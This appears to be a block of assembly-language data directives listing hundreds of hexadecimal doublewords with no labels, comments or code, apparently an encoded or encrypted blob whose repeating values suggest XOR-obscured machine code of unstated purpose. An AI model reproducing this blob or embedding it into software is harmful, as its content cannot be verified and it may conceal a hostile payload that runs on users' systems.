dd 9C20926Ah, 922A8585h, 7A7A1EFAh, 7A8A46D9h, 0EC98126Ah
dd 3F926A6Bh, 2A85859Ch, 7A1E1192h, 2352D97Ah, 0AC126A77h
dd 926A6BECh, 85859C4Ah, 1E2C922Ah, 66D97A7Ah, 126A7348h
dd 6A6BECB6h, 859C6192h, 3B922A85h, 0D97A7A1Eh, 6A73326Eh
dd 6BECB812h, 9C7C926Ah, 922A8585h, 7A7A1E56h, 0D90ABEF9h
dd 6A7A8A56h, 0F32FB925h, 3296FB9Fh, 297A7A7Eh, 0FFF72D2Ch
dd 858586C5h, 0FBD6DB2Ah, 7F796A6Bh, 6A6BFA8Ah, 2A7F92F9h
dd 6BF85ADBh, 7892F96Ah, 7566102Ah, 0FABE7FC5h, 7F796A6Bh
dd 6A6BFBB2h, 2A7492F9h, 507A6F85h, 0FFF76A7Fh, 858586C5h
dd 0C1FFF72Ah, 2A858581h, 5BDE6F85h, 0CD126A7Bh, 926A6BECh
dd 85859FEEh, 0C1EFF72Ah, 28858581h, 8A566F85h, 0BEF96A7Ah
dd 0B8FFF76Eh, 2A858584h, 81C1FFF7h, 852A8585h, 7348526Fh
dd 0DBB9F36Ah, 6A6BF84Ah, 0B943A28Dh, 7ACEFE75h, 0FFF77A7Ah
dd 85858494h, 0C5FFF72Ah, 2A858586h, 7A442692h, 72BEF97Ah
dd 0F73C8C4Bh, 8584B8FFh, 85292A85h, 7B75B26Fh, 73BCF36Ah
dd 29730F8Ch, 5FC66F85h, 60916A7Bh, 8494FFF7h, 0F72A8585h
dd 8586C5FFh, 5C922A85h, 0F97A7A44h, 8C7372BEh, 0C575B30Fh
dd 6BFBD27Fh, 0E6FF16Ah, 0F96A6BFBh, 6EF27D90h, 6B216A7Fh
dd 47C5756Ah, 6A6BFAD2h, 0D7124691h, 926A6BECh, 85859E9Eh
dd 5AC74E85h, 856A7323h, 485AC74Eh, 0F72A6A7Fh, 8587B9EFh
dd 6F852885h, 6A772352h, 87B9FFF7h, 122A8585h, 6A6B216Ah
dd 8A566F85h, 0BEF96A7Ah
dd 47413D66h, 6A6BF8DEh, 2425C608h, 2FB9B321h, 96F99FF3h
dd 2D2C2956h, 1C623FF1h, 75623FF3h, 0FB7E7FC5h, 6FF16A6Bh
dd 6A6BFB6Ah, 0C56AFEF7h, 437A7A7Ah, 0FF75763Fh, 7A7A7B6Ah
dd 923FBD1Ch, 3FF77A79h, 92DB2A8Ah, 2A6A6BF8h, 2D8542F1h
dd 863FF366h, 6BFA9EDBh, 0D67F796Ah, 0F96A6BFBh, 3F437D92h
dd 0A7FF7586h, 857A7A7Ah, 3FF78A37h, 0FF72A9Eh, 6A96F992h
dd 7EC39DF3h, 897A7A7Ah, 9247F1DFh, 2D6A6BF8h, 2D8545F1h
dd 863FF35Ah, 0CE7FC575h, 796A6BFAh, 6BFB827Fh, 7292F96Ah
dd 75863F43h, 7A7AE5FFh, 9A3FF77Ah, 0E0D2122Ah, 3FF16A6Bh
dd 42F12A9Eh, 7A476E85h, 0F37A7A7Ah, 8ADB863Fh, 0F96A6BFAh
dd 3F437992h, 0F70A0F86h, 6BF89E7Fh, 823FF36Ah, 8562F12Ah
dd 3FF77E29h, 92122AA6h, 0F16A6BE3h, 0F12A823Fh, 476E8542h
dd 7A7A7A7Ah, 0DB863FF3h, 6A6BFB5Ah, 0FAEA7F79h, 92F96A6Bh
dd 863F4376h, 3FF7590Fh, 92122AAEh, 856A6BE3h, 0F85A60Fh
dd 759D929Ah, 0BEF97A7Ah, 0A23FF36Ah, 2AA63FF1h, 298562F1h
dd 823FF172h, 8562F12Ah, 3FF17229h, 62F12A9Ah, 0F1722985h
dd 0F12A9E3Fh, 72298562h, 7F91BA4Bh, 787A79C2h, 212425FAh
dd 7A5EB8B3h, 7A3A7BC2h, 7A72B8FAh, 6BECED12h, 9930926Ah
dd 922A8585h, 7A7A7507h, 7F486ED9h, 0ECF3126Ah, 4F926A6Bh
dd 2A858599h, 7A751292h, 5396D97Ah, 6126A7Fh, 926A6BECh
dd 8585995Ah, 7529922Ah, 0C6D97A7Ah, 126A7B5Fh, 6A6BEC16h
dd 85997192h, 44922A85h, 0D97A7A75h, 6A7B75BAh, 6BEC2712h
dd 988C926Ah, 922A8585h, 7A7A7553h, 7A8A76D9h, 0EC3D126Ah
dd 9B926A6Bh, 2A858598h, 7A756E92h, 3262D97Ah, 4A126A73h
dd 926A6BECh, 858598B6h, 7485922Ah, 5AD97A7Ah, 126A7723h
dd 6A6BEC59h, 8598CD92h, 90922A85h, 0D97A7A74h, 6A7B5FB6h
dd 6BEC7612h, 98D8926Ah, 922A8585h, 7A7A74AFh, 77234ED9h
dd 0EF8D126Ah, 0F7926A6Bh, 2A858598h, 7A74BA92h, 2336D97Ah
dd 9E126A6Bh, 926A6BEFh, 85859802h, 74D1922Ah, 6AD97A7Ah
dd 126A6B11h, 6A6BEFB7h, 85981992h, 0EC922A85h, 0D97A7A74h
dd 6A7A8A6Ah, 6BEFBB12h, 9834926Ah, 922A8585h, 7A7A74FBh
dd 7A8A4ED9h, 0EFD2126Ah, 43926A6Bh, 2A858598h, 7A741692h
dd 237AD97Ah, 0E1126A73h, 926A6BEFh, 8585985Eh, 742D922Ah
dd 3ED97A7Ah, 126A734Fh, 6A6BEFF0h, 85987592h, 38922A85h
dd 0D97A7A74h, 6A6B1552h, 6BEF0812h, 9B80926Ah, 922A8585h
dd 7A7A7457h, 6B2002D9h, 0EF20126Ah, 9F926A6Bh, 2A85859Bh
dd 7A746292h, 8A6ED97Ah, 30126A7Ah, 926A6BEFh, 85859BAAh
dd 7479922Ah, 72D97A7Ah, 126A7323h, 6A6BEF42h, 859BC192h
dd 94922A85h, 0D97A7A77h, 6A734852h, 6BEF6712h, 9BDC926Ah
dd 922A8585h, 7A7A77A3h, 73333ED9h, 0EF74126Ah, 0EB926A6Bh
dd 2A85859Bh, 7A77BE92h, 1556D97Ah, 80126A6Bh, 926A6BEEh
dd 85859B06h, 77D5922Ah, 3AD97A7Ah, 126A7A8Ah, 6A6BEE90h
dd 859B1D92h, 0E0922A85h, 0D97A7A77h, 6A7F4866h, 6BEEA112h
dd 9B28926Ah, 922A8585h, 7A7A77FFh, 6B1166D9h, 0EEB6126Ah
dd 47926A6Bh, 2A85859Bh, 7A770A92h, 236AD97Ah, 0C4126A73h
dd 926A6BEEh, 85859B52h, 7721922Ah, 42D97A7Ah, 126A7333h
dd 6A6BEED5h, 859B6992h, 3C922A85h, 0D97A7A77h, 6A6B1162h
dd 6BEEDA12h, 9A84926Ah, 922A8585h, 7A7A774Bh, 73326AD9h
dd 0EEF6126Ah, 93926A6Bh, 2A85859Ah, 7A776692h, 5FE2D97Ah
dd 6126A7Bh, 926A6BEEh, 85859AAEh, 777D922Ah, 0AD97A7Ah
dd 126A6B20h, 6A6BEE11h, 859AC592h, 88922A85h, 0D97A7A76h
dd 6A734E4Ah, 6BEE2012h, 9AD0926Ah, 922A8585h, 7A7A76A7h
dd 7B75B2D9h, 0EE38126Ah, 0EF926A6Bh, 2A85859Ah, 7A76B292h
dd 5382D97Ah, 4E126A7Fh, 926A6BEEh, 85859AFAh, 76C9922Ah
dd 1AD97A7Ah, 126A6B23h, 6A6BEE53h, 859A1192h, 0E4922A85h
dd 0D97A7A76h, 6A7B5AEEh, 6BEE6212h, 9A2C926Ah, 922A8585h
dd 7A7A76F3h, 7A8A42D9h, 0EE72126Ah, 3B926A6Bh, 2A85859Ah
dd 7A760E92h, 4862D97Ah, 8C126A7Fh, 926A6BE9h, 85859A56h
dd 7625922Ah, 4AD97A7Ah, 126A6B15h, 6A6BE99Dh, 859A6D92h
dd 30922A85h, 0D97A7A76h, 6A733332h, 6BE9AC12h, 9A78926Ah
dd 922A8585h, 7A7A764Fh, 6B231ED9h, 0E9BE126Ah, 97926A6Bh
dd 2A8585A5h, 7A765A92h, 5FD2D97Ah, 0C2126A7Bh, 926A6BE9h
dd 8585A5A2h, 7671922Ah, 7AD97A7Ah, 126A7A8Ah, 6A6BE9D2h
dd 85A5B992h, 8C922A85h, 0D97A7A71h, 6A7A8A3Eh, 6BE9EB12h
dd 0A5D4926Ah, 922A8585h, 7A7A719Bh, 7B5FCAD9h, 0E90D126Ah
dd 0E3926A6Bh, 2A8585A5h, 7A71B692h, 2362D97Ah, 18126A73h
dd 926A6BE9h, 8585A5FEh, 71CD922Ah, 0F2D97A7Ah, 126A7B5Ah
dd 6A6BE92Fh, 85A51592h, 0D8922A85h, 0D97A7A71h, 6A6B1566h
dd 6BE94412h, 0A520926Ah, 922A8585h, 7A7A71F7h, 7BF2BEFBh
dd 8ED97A7Ah, 0B96A7F53h, 2B9FF32Fh, 2A863FF7h, 6BFAB2DBh
dd 3A7F796Ah, 0F96A6BFBh, 852A7892h, 6BFBFA4Fh, 720F856Ah
dd 0AA7FC575h, 796A6BFAh, 6BF8467Fh, 7C92F96Ah, 0FBCADB2Ah
dd 92F96A6Bh, 6F852A7Dh, 6A6B155Ah, 326F852Ah, 0B36A7333h
dd 55122DB9h, 926A6BE9h, 8585A48Eh, 6F852A23h, 6A7B5FE2h
dd 6BF8FAD9h, 0FB9EDB6Ah, 92F96A6Bh, 0FA7F437Eh, 0F6A6BF8h
dd 0E95A126Dh, 0B7926A6Bh, 238585A4h, 626F852Ah, 0D96A7F48h
dd 6A6BF8FAh, 6BE97012h, 0A4CC926Ah, 2A238585h, 0F8FA4F85h
dd 6F856A6Bh, 6A7B5BD6h, 7A8A52D9h, 2FB9256Ah, 292B9FF3h
dd 723FF12Ch, 0F3460AF1h, 0F1BB7B8Bh, 2FF1523Bh, 6A0EF772h
dd 3CCC7577h, 4E6FF17Bh, 0FB6A6BFBh, 7A7B84B8h, 75B9F37Ah
dd 0CC75A0D5h, 378AF97Ch, 0F1853FF2h, 6BFB2A77h, 7893F96Ah
dd 0CC757491h, 0CC75747Eh, 0AA4B852Fh, 3B747EF2h, 9408A343h
dd 0F3763FF1h, 248AF362h, 2FB9B321h, 96FB9FF3h, 7A7A7B76h
dd 7207F12Dh, 7A7B7E12h, 82FFF77Ah, 2A858584h, 5FCA6F85h
dd 0C5756A7Bh, 6BFB527Fh, 26FF16Ah, 796A6BFBh, 6BFACA6Fh
dd 7490F96Ah, 8C7FEEF2h, 12858584h, 7A7A7B7Eh, 8482FFF7h
dd 0F72A8585h, 2 dup(0F72A863Fh), 85848EFFh, 7E122A85h
dd 0F77A7A7Bh, 858482FFh, 0FFF72A85h, 85858482h, 7A6F852Ah
dd 126A7323h, 6A6BE978h, 85A7BD92h, 8ECF8585h, 2A858584h
dd 526F852Dh, 0F96A7723h, 0C5756ABEh, 6BF83A7Fh, 7292F96Ah
dd 91863FF3h, 863FF155h, 467D7EF0h, 4676063Bh, 0F1720520h
dd 827B863Fh, 0F15A7AFAh, 7EF0863Fh, 64A467Dh, 5434676h
dd 863FF172h, 7AFA827Bh, 863F854Bh, 6BFB0ADBh, 7EBAF96Ah
dd 8863F43h, 0B9B325BEh, 2C9FF32Fh, 7207F12Dh, 0F3760FF1h
dd 6A3F498Ah, 0F36E3F49h, 0F3B87B80h, 623F79AAh, 779BDF3h
dd 660F855Ah, 7C4B922Dh, 0BEF97A7Ah, 7BBDF372h, 2582F38Dh
dd 2FB92724h, 3C929FF3h, 0DB858589h, 6A6BFBDAh, 0FA927F79h
dd 92F96A6Bh, 3A6FF17Dh, 0FB6A6BFBh, 7A9025B8h, 0B8D5757Ah
dd 5E6F852Ah, 236A7723h, 0B827AE91h, 0F32F7A7Eh, 2D2C299Fh
dd 0DB7227F1h, 6A6BF832h, 4F79BCF3h, 6A6BFBF2h, 917394F9h
dd 3A6F854Fh, 0F16A6B0Ah, 6BFBDA47h, 29BDF96Ah, 0DE6FC575h
dd 7B6A6BFBh, 37A9C0ADh, 0F32B6A18h, 0BB908DBBh, 83BB7D80h
dd 0F3B05365h, 0BD7B23AAh, 6EF280F3h
dd 0F413C49h, 0F1BC0676h, 6FF1763Fh, 6A6BF84Ah, 0FA966F79h
dd 90F96A6Bh, 796EF278h, 2425A2F3h, 2FB92721h, 0F12D9FF3h
dd 0F85763Fh, 6A0F856Eh, 85760F85h, 6F85720Fh, 6A7B5FB2h
dd 6AB82725h, 9FF32F7Ah, 2D2C292Bh, 0F1720FF1h, 0F31C623Fh
dd 0A6DB623Fh, 0F96A6BFBh, 7F7978BAh, 6A6BFBB2h, 5FAA7F43h
dd 77096A7Bh, 6BFBCEDBh, 7E92F96Ah, 7B5FAAD9h, 0FBBADB6Ah
dd 0BDF36A6Bh, 0FA924779h, 95F96A6Bh, 0F7769178h, 6A9AC766h
dd 0A4436A7Bh, 0DB3D6F0Eh, 6A6BFBAEh, 7A79A77Fh, 227F797Ah
dd 436A6BFBh, 759A08BDh, 0FB427FC5h, 0C5756A6Bh, 6BFB1E6Fh
dd 6AFEF76Ah, 7A7A799Eh, 7D0FBD43h, 193BA4Bh, 757A7A7Bh
dd 6A074ECDh, 0F16A7F50h, 6BF86E67h, 9E67796Ah, 0F96A6BFAh
dd 0A4437D91h, 0CC754C0Fh, 5BCA477Eh, 852A6A7Bh, 7A5AC74Eh
dd 0A4926A7Bh, 0F97A7A65h, 0C57572BEh, 6BFB8A4Fh, 0A24F796Ah
dd 0F96A6BFAh, 4EF37694h, 7B6A9AC7h, 93BA4B6Ah, 7A7A7B50h
dd 74ECD75h, 6A7F506Ah, 0FBAA67F1h, 0B9FB6A6Bh, 7A7A858Eh
dd 0FBCE6779h, 0A4436A6Bh, 7A93FF75h, 92DB7A7Ah, 756A6BFAh
dd 0FAB66FC5h, 0AA7B6A6Bh, 0F37892F9h, 0C393863Fh, 0F17A7A7Ah
dd 89F3860Fh, 0F17899BBh, 6BFBA26Fh, 0AE6F796Ah, 0F96A6BFBh
dd 6E437690h, 7B6A9A67h, 0E8FE756Ah, 757A7A7Ah, 6A0F6ECDh
dd 0F16A7F50h, 6BFB6A77h, 8CBBFB6Ah, 757A7A85h, 0F8627FC5h
dd 0BB7B6A6Bh, 0B0EB043h, 5AC76EF1h, 436A7B7Ah, 7A5A676Eh
dd 1B0F6A7Bh, 0CA4F66F0h, 406A7B5Bh, 5BCA4766h, 2B0F6A7Bh
dd 0F4ECD75h, 6A7F506Ah, 0FBFE67F1h, 91F96A6Bh, 0FA44379h
dd 860FF157h, 4F66CC75h, 6A7B5BCAh, 0CF4E8529h, 6A7B7A5Ah
dd 7A648A92h, 72BEF97Ah, 0F84E4FF1h, 94F96A6Bh, 0C74EF372h
dd 6A7B6A9Ah, 0FF15F91h, 0F4EF786h, 6A7F506Ah, 9174851Ch
dd 863F856Ch, 6BFB0ADBh, 799E7F6Ah, 3F437A7Ah, 4EF87586h
dd 4B858585h, 756591BAh, 6A074ECDh, 0F16A7F50h, 6BF83267h
dd 7991F96Ah, 7204A443h, 776851Ch, 6A7F506Ah, 2425BA4Bh
dd 5EB8B321h, 9FF32F7Ah, 7A6876C2h, 0FF6D927Ah, 2C297A7Ah
dd 0F489122Dh, 37926A6Bh, 2A8585A0h, 8A7BC7F7h, 852D8585h
dd 7723526Fh, 76BEF96Ah, 6BFB2EDBh, 79BCF36Ah, 6BFB9A4Fh
dd 7694F96Ah, 0C6FA5A91h, 858A7B4Fh, 6F0F5985h, 6BFBF2DBh
dd 567F796Ah, 0F96A6BFBh, 0FEF27792h, 858A7B4Fh, 84FB3C85h
dd 7A7A7585h, 0C575A208h, 6BF83E7Fh, 79B9F36Ah, 6BFB5667h
dd 7591F96Ah, 6BFB82DBh, 6FC5756Ah, 6A6BFBDEh, 92F9AA7Bh
dd 86FFF373h, 0DB858595h, 6A6BF87Ah, 437F92F9h, 250F723Fh
dd 43763FF1h, 859586FFh, 0F76D0F85h, 8A7B67FEh, 122A8585h
dd 6A6B230Ah, 7AFEF692h, 78E2937Ah, 0F6F77A7Ah, 858A7B67h
dd 85B2F985h, 7B46FA3Ah, 7B830F7Ah, 7BB9F9B9h, 9586FF85h
dd 0C4758585h, 8A7B67FEh, 6FF18585h, 6A6BF876h, 0FBA26F79h
dd 90F96A6Bh, 75AA4372h, 7A7827FEh, 75DB917Ah, 0F83E7FC5h
dd 0B9F36A6Bh, 0FB266779h, 91F96A6Bh, 0F8DADB71h, 0FFF36A6Bh
dd 85859582h, 0EE7FC575h, 326A6BFBh, 75722FF1h, 0FAEE77C5h
dd 93F96A6Bh, 7876F278h, 6BFBC2DBh, 6FC5756Ah, 6A6BFB52h
dd 92F9AA7Bh, 86FFF373h, 85858595h, 6B0A3A6Fh, 7A6EC36Ah
dd 8DE37A7Ah, 8EEFF383h, 12858595h, 6A6BF492h, 85A37992h
dd 0C7F72A85h, 8585948Fh, 0F9A9922Dh, 0FEF77A7Ah, 858A7B67h
dd 0FFF72A85h, 8585948Fh, 566F852Ah, 0F96A7A8Ah, 46DB76BEh
dd 0F96A6BF8h, 0FF4378BAh, 8585958Eh, 7AA4F975h, 0CF857A7Ah
dd 85859582h, 978CFFF7h, 922A8585h, 7A7A1634h, 3E7FC575h
dd 0F96A6BFBh, 0F72A7992h, 85948FFFh, 0F852A85h, 71B39272h
dd 0BEF97A7Ah, 0AA47F16Eh, 0FB6A6BFBh, 7A858EBDh, 6647797Ah
dd 436A6BF8h, 0F75D0F82h, 85948FFFh, 0F852A85h, 566F8572h
dd 126A7A8Ah, 6A6BF499h, 85A21192h, 0F852A85h, 566F8572h
dd 0F96A7A8Ah, 6DB6EBEh, 0F96A6BFBh, 0F72A7C92h, 85978CFFh
dd 0F852A85h, 710B9272h, 0BEF97A7Ah, 0F647F176h, 0FB6A6BFBh
dd 7A8584BDh, 4647797Ah, 436A6BF8h, 12410F82h, 6A6BF4A2h
dd 85A25992h, 0F852A85h, 566F8572h, 0F76A7A8Ah, 85978CFFh
dd 0F852A85h, 566F8572h, 126A7A8Ah, 6A6BF4A9h, 85AD8592h
dd 0F852A85h, 566F8572h, 0F96A7A8Ah, 0FF855ABEh, 85859582h
dd 9586CF85h, 93928585h, 237A7A7Eh, 958EFFF3h, 0C5758585h
dd 6BFB5277h, 0FE77796Ah, 0F96A6BFBh, 0B2437D93h, 0C5752E09h
dd 6BFAAA7Fh, 7F92F96Ah, 8FFFF72Ah, 2A858594h, 92720F85h
dd 7A7A70ADh, 0F176BEF9h, 6BFAA647h, 81BDFB6Ah, 437A7A85h
dd 0F75D0F82h, 85948FFFh, 0F852A85h, 566F8572h, 126A7A8Ah
dd 6A6BF4B4h, 85AD0592h, 0F852A85h, 566F8572h, 0F96A7A8Ah
dd 0F6F76EBEh, 858A7B67h, 85B2F985h, 7B46FA3Ah, 7B830F7Ah
dd 86FF85B9h, 0F9858595h, 0C4757BB9h, 8A7B67FEh, 6FF18585h
dd 6A6BFB66h, 3A77C575h, 7B6A6BF8h, 7090F9B0h, 0FF75AA43h
dd 85858469h, 6BF4B312h, 0AD50926Ah, 852A8585h, 6F85720Fh
dd 6A7A8A56h, 0F176BEF9h, 859582FFh, 0F8DAD985h, 24256A6Bh
dd 29B9B321h, 0EF12D2Ch, 6F16A5Eh, 83F36E5Eh, 99A989F3h
dd 0FB0E6FF1h, 0B8F96A6Bh, 726F796Bh, 0F36A6BFBh, 0F38353ABh
dd 7392A98Ah, 25A2F3B9h, 2FB92124h, 96FB9FF3h, 7A7A7B5Eh
dd 122D2C29h, 7A7C60FAh, 6F853A10h, 6A7F5396h, 9A12B9F3h
dd 107A7EE9h, 966F853Ah, 0F36A7F53h, 3FF1863Fh, 78BAF972h
dd 860F852Ah, 7AFBFA92h, 863FF17Ah, 0B2F9BBF3h, 46FA3A85h
dd 830F7A7Bh, 0F1823FF3h, 6BFBAA47h, 7D95F96Ah, 82F34191h
dd 0F3863F79h, 858492FFh, 6ACC7585h, 849AEFF3h, 82F38585h
dd 849EFFF3h, 9D8D8585h, 84A6FFF3h, 0FFF18585h, 8585849Ah
dd 84A6EFF1h, 0AA7B8585h, 8492EFF1h, 78F28585h, 8207413Dh
dd 0C575BA08h, 6BFB467Fh, 6FC5756Ah, 6A6BFB32h, 0C6AFEF7h
dd 2A7A7C60h, 820F8529h, 92860F85h, 7A7A43DAh, 0F16ABEF9h
dd 6BFAEA4Fh, 7E94F96Ah, 46FA6F91h, 7E0F4749h, 53497EBCh
dd 514946FAh, 7EBC7E0Fh, 0F33C5249h, 85B2F9A3h, 7B46FA3Ah
dd 43830F7Ah, 75A108BCh, 0FBE27FC5h, 7F796A6Bh, 6A6BFAEAh
dd 0F17F92F9h, 46FA722Fh, 6B0F3178h, 7B5ADA12h, 96FFF76Ah
dd 2A858584h, 7AFADE92h, 7FC5757Ah, 6A6BFB8Ah, 0F17C92F9h
dd 46FA722Fh, 6B0F3E78h, 734E3A12h, 96FFF76Ah, 2A858584h
dd 7AFAFA92h, 7FC5757Ah, 6A6BF83Ah, 0F17292F9h, 46FA722Fh
dd 480F2A78h, 73324A12h, 96FFF76Ah, 2A858584h, 7AFA2692h
dd 0F852DB7Ah, 92F96A6Bh, 0F7292A7Dh, 858496FFh, 15922A85h
dd 0F97A7A5Ch, 0BA7376BEh, 7BF8FF75h, 0EADB7A7Ah, 796A6BFAh
dd 6BFAAE7Fh, 7392F96Ah, 0FAC6DB2Ah, 0C5756A6Bh, 6BFB626Fh
dd 0F9AA7B6Ah, 102A7292h, 0F856DB7Eh, 92F96A6Bh, 0C5752A7Dh
dd 6BFB8A7Fh, 7C92F96Ah, 7A7A122Ah, 0FFF73A7Ah, 85858496h
dd 626F852Ah, 0F36A6B11h, 78108E3Fh, 6BFAEADBh, 7E92F96Ah
dd 7FC5752Ah, 6A6BFB42h, 0AA6FC575h, 7B6A6BFAh, 7392F9AAh
dd 8E0F852Ah, 154A6F85h, 0BB126A6Bh, 926A6BF4h, 8585AE9Ah
dd 6FC57523h, 6A6BF862h, 8A2FF728h, 366FF128h, 756A6BF8h
dd 0FB4677C5h, 0B07B6A6Bh, 287490F9h, 8E0F852Ah, 15666F85h
dd 36DB6A6Bh, 756A6BFBh
dd 0FBD26FC5h, 0AA7B6A6Bh, 0F17892F9h, 46FA722Fh, 480F3178h
dd 6BF4C612h, 0AEE8926Ah, 75238585h, 0FB326FC5h, 28306A6Bh
dd 288A2FF7h, 0F8326FF1h, 6F796A6Bh, 6A6BF85Eh, 287E90F9h
dd 8E0F852Ah, 15666F85h, 6ADB6A6Bh, 0F96A6BFBh, 2FF17392h
dd 7846FA72h, 12460F2Ah, 6A6BF4CDh, 85AE3592h, 6FF12385h
dd 6A6BFBBAh, 8677C575h, 7B6A6BFAh, 7990F9B0h, 8A2FF728h
dd 926FF128h, 756A6BFAh, 0FB7E77C5h, 0B07B6A6Bh, 0F852A28h
dd 666F858Eh, 0F36A6B15h, 85B2F9A3h, 7B46FA3Ah, 0F1830F7Ah
dd 6BFB2E77h, 7E77796Ah, 0F96A6BF8h, 0F72B7093h, 0F12B8A37h
dd 6BFB8277h, 7893F96Ah, 0B07BB8F3h, 0F852928h, 666F858Eh
dd 856A6B15h, 6F858E0Fh, 6A733332h, 85860F85h, 7B5FB66Fh
dd 6F85296Ah, 6A7B5FB6h, 0B3212425h, 9FF32FB9h, 720F852Dh
dd 0F82E4F85h, 6F856A6Bh, 6A7B5BD6h, 2725BDF3h, 9FF32FB9h
dd 2C292A2Bh, 7FC5752Dh, 6A6BFACEh, 0D26FC575h, 0F36A6BFBh
dd 0F9AC7BBCh, 3FF77F94h, 72122A86h, 0F16A6BE0h, 0F12A723Fh
dd 676E8562h, 7A7A7A7Ah, 6EDBBDF3h, 796A6BFBh, 6BFBA27Fh
dd 7F92F96Ah, 7E0EBD43h, 1D91BA4Bh, 2A823FF7h, 0F16A0F85h
dd 0F12A863Fh, 6A298562h, 0EADBBDF3h, 796A6BFAh, 6BFB727Fh
dd 7692F96Ah, 420FBD43h, 856E0F85h, 3FF1760Fh, 62F12A82h
dd 0F36E2985h, 0F85EDBBDh, 0C5756A6Bh, 6BFAEE6Fh, 0F9AA7B6Ah
dd 0BD437992h, 4FF1730Fh, 6A6BFA8Ah, 0F17894F9h, 0F12A823Fh
dd 72298562h, 2A863FF1h, 298562F1h, 258AF372h, 0B9B32124h
dd 5E0EF12Ch, 758BF372h, 0FAD27FC5h, 7F796A6Bh, 6A6BFADEh
dd 4F07BB43h, 0D27FC575h, 796A6BFAh, 6BFB2E7Fh, 7992F96Ah
dd 0DBB2D575h, 6A6BFAA2h, 0F37F92F9h, 0DBB87B88h, 6A6BFADAh
dd 0FB667F79h, 75326A6Bh, 0AB53AAD5h, 7A7B4493h, 0C575337Ah
dd 6BF86A7Fh, 75BAF96Ah, 5B07BB43h, 6BF84EDBh, 7C92F96Ah
dd 0F3B2D575h, 0F18A53B2h, 6BFBD66Fh, 71B8F96Ah, 0AB53BBF3h
dd 7A7B7493h, 0C575337Ah, 6BFB8A7Fh, 0B26FF16Ah, 0F76A6BFBh
dd 436E6A3Eh, 755207BBh, 0FBEE7FC5h, 7F796A6Bh, 6A6BFB8Eh
dd 757D92F9h, 42DBB2D5h, 0F96A6BF8h, 7F7940BAh, 6A6BFBDAh
dd 0AA93BB53h, 337A7A7Ah, 6BFB76DBh, 58BAF96Ah, 5807BB43h
dd 727FC575h, 796A6BF8h, 6BFB2A7Fh, 7992F96Ah, 0DBB2D575h
dd 6A6BFBF2h, 533BBAF9h, 7ADB93BBh, 0DB337A7Ah, 6A6BFBFAh
dd 7551BAF9h, 0FBEE6FC5h, 0AA7B6A6Bh, 6307BB43h, 0B67FC575h
dd 0F96A6BFBh, 0D5757D92h, 0FB22DBB2h, 0BAF96A6Bh, 91BB532Bh
dd 0C5753308h, 6BFA8E7Fh, 26FF16Ah, 0F76A6BFBh, 43516A3Eh
dd 755807BBh, 0FB327FC5h, 0C5756A6Bh, 6BFB426Fh, 0F9AA7B6Ah
dd 0D5757892h, 0FB12DBB2h, 0BAF96A6Bh, 91BB5312h, 0ADB3340h
dd 0F96A6BFBh, 0BB434FBAh, 4ADB5907h, 796A6BFBh, 6BFB1A7Fh
dd 7C92F96Ah, 0DBB2D575h, 6A6BFBAAh, 7912BAF9h, 6BFB4A7Fh
dd 91BB536Ah, 0FB96DB70h, 0BAF96A6Bh, 0F3BB534Ch, 2FB924B2h
dd 292B9FF3h, 3FF12D2Ch, 62CC7572h, 0AA7FC575h, 0F16A6BFAh
dd 6BFB6E6Fh, 6AFEF76Ah, 7A7A7A83h, 0F1A2D575h, 0CC75723Fh
dd 0B97B7B3Ah, 727FC575h, 756A6BF8h, 0FAAA6FC5h, 0FEF76A6Bh
dd 7A7A836Ah, 0A2D5757Ah, 75723FF1h, 7B783ACCh, 2A4FF1B9h
dd 0F96A6BFBh, 31917E94h, 0FB7A47F1h, 95F96A6Bh, 0F18D537Ch
dd 2FF3762Fh, 0FBA0F386h, 7A7A4598h, 307F07FAh, 38BAB0F9h
dd 3A6F6EF0h, 0F16A6B15h, 6EF28637h, 0F1A2F343h, 6BFB2647h
dd 4DBDF96Ah, 826FC575h, 0F36A6BFAh, 0E3AB7B83h, 0B9F3838Dh
dd 757BBCF9h, 0FA867FC5h, 7F796A6Bh, 6A6BFB5Eh, 0DE06BC43h
dd 0B3212425h, 9FF32FB9h, 0F12D2A2Bh, 0AE927207h, 737A7A4Dh
dd 855E0EBAh, 6BF8F24Fh, 2D7B106Ah, 23126F85h, 3FF36A6Bh
dd 0F24F8586h, 106A6BF8h, 6F852D7Eh, 6A6B2312h, 25823FF3h
dd 0F32FB9B3h, 2D2C299Fh, 0F1760FF1h, 0E2126A07h, 2C6A6BE0h
dd 23466F85h, 0BA736A77h, 3FF16A0Eh, 857DF372h, 8562F14Dh
dd 0BA4B7E29h, 62123591h, 2C6A6BE0h, 23466F85h, 0BA736A77h
dd 3FF16A0Eh, 857DF372h, 8562F14Dh, 0BA4B7E29h, 82125591h
dd 2C6A6BE3h, 23466F85h, 0BA736A77h, 3FF16A0Eh, 857DF372h
dd 8562F14Dh, 0BA4B7E29h, 0D6DB7591h, 0F96A6BFAh, 7DF37D92h
dd 7A3A78C2h, 212425FAh, 7A76B827h, 0FB9FF32Fh, 7A781296h
dd 2D2C297Ah, 6F857A10h, 6A77235Eh, 1239A14Bh, 6A6BF4D5h
dd 85B5A992h, 720F8585h, 0C4C7F72Ah, 2D858587h, 23526F85h
dd 0BEF96A77h, 0B8FFF76Eh, 2A858584h, 87C4FFF7h, 852A8585h
dd 7348526Fh, 0C2FFF36Ah, 0F1858587h, 6BFBCE77h, 2277796Ah
dd 0F96A6BFBh, 0A38D7C93h, 0FF75B243h, 7A7A7B93h, 6BFB6EDBh
dd 79877F6Ah, 7F797A7Ah, 6A6BFB12h, 9563F43h, 0FBC6DB66h
dd 0ED7F6A6Bh, 757A7A7Ah, 0FB926FC5h, 0AA7B6A6Bh, 75563F43h
dd 7A78FBFFh, 7FC5757Ah, 6A6BFA86h, 437892F9h, 0FD75523Fh
dd 7A7A7814h, 627FC575h, 7F6A6BFBh, 7A797742h, 75563F43h
dd 7A7823FDh, 5A3FF77Ah, 6A3FF72Ah, 6A6F852Ah, 0F36A6B11h
dd 8587DAFFh, 0FB82DB85h, 7F796A6Bh, 6A6BFB0Ah, 437D92F9h
dd 8587DAFFh, 0F7770785h, 8587E2C7h, 5A0FF785h, 7191DFDFh
dd 87E2C7F7h, 0FF78585h, 0F7DFDF6Ah, 8587D2FFh, 0FFF72A85h
dd 858587E2h, 26F852Ah, 756A6B20h, 0FBEA7FC5h, 0CD756A6Bh
dd 8587C8EFh, 0F7CD7585h, 858587CAh, 0FB4E4FF1h, 0BCF96A6Bh
dd 0B4D57540h, 0CD75B07Bh, 8587D4F7h, 64FF185h, 0F96A6BFBh
dd 4F7977BCh, 6A6BFB0Ah, 75B4D575h, 0FBBE4FC5h, 47F16A6Bh
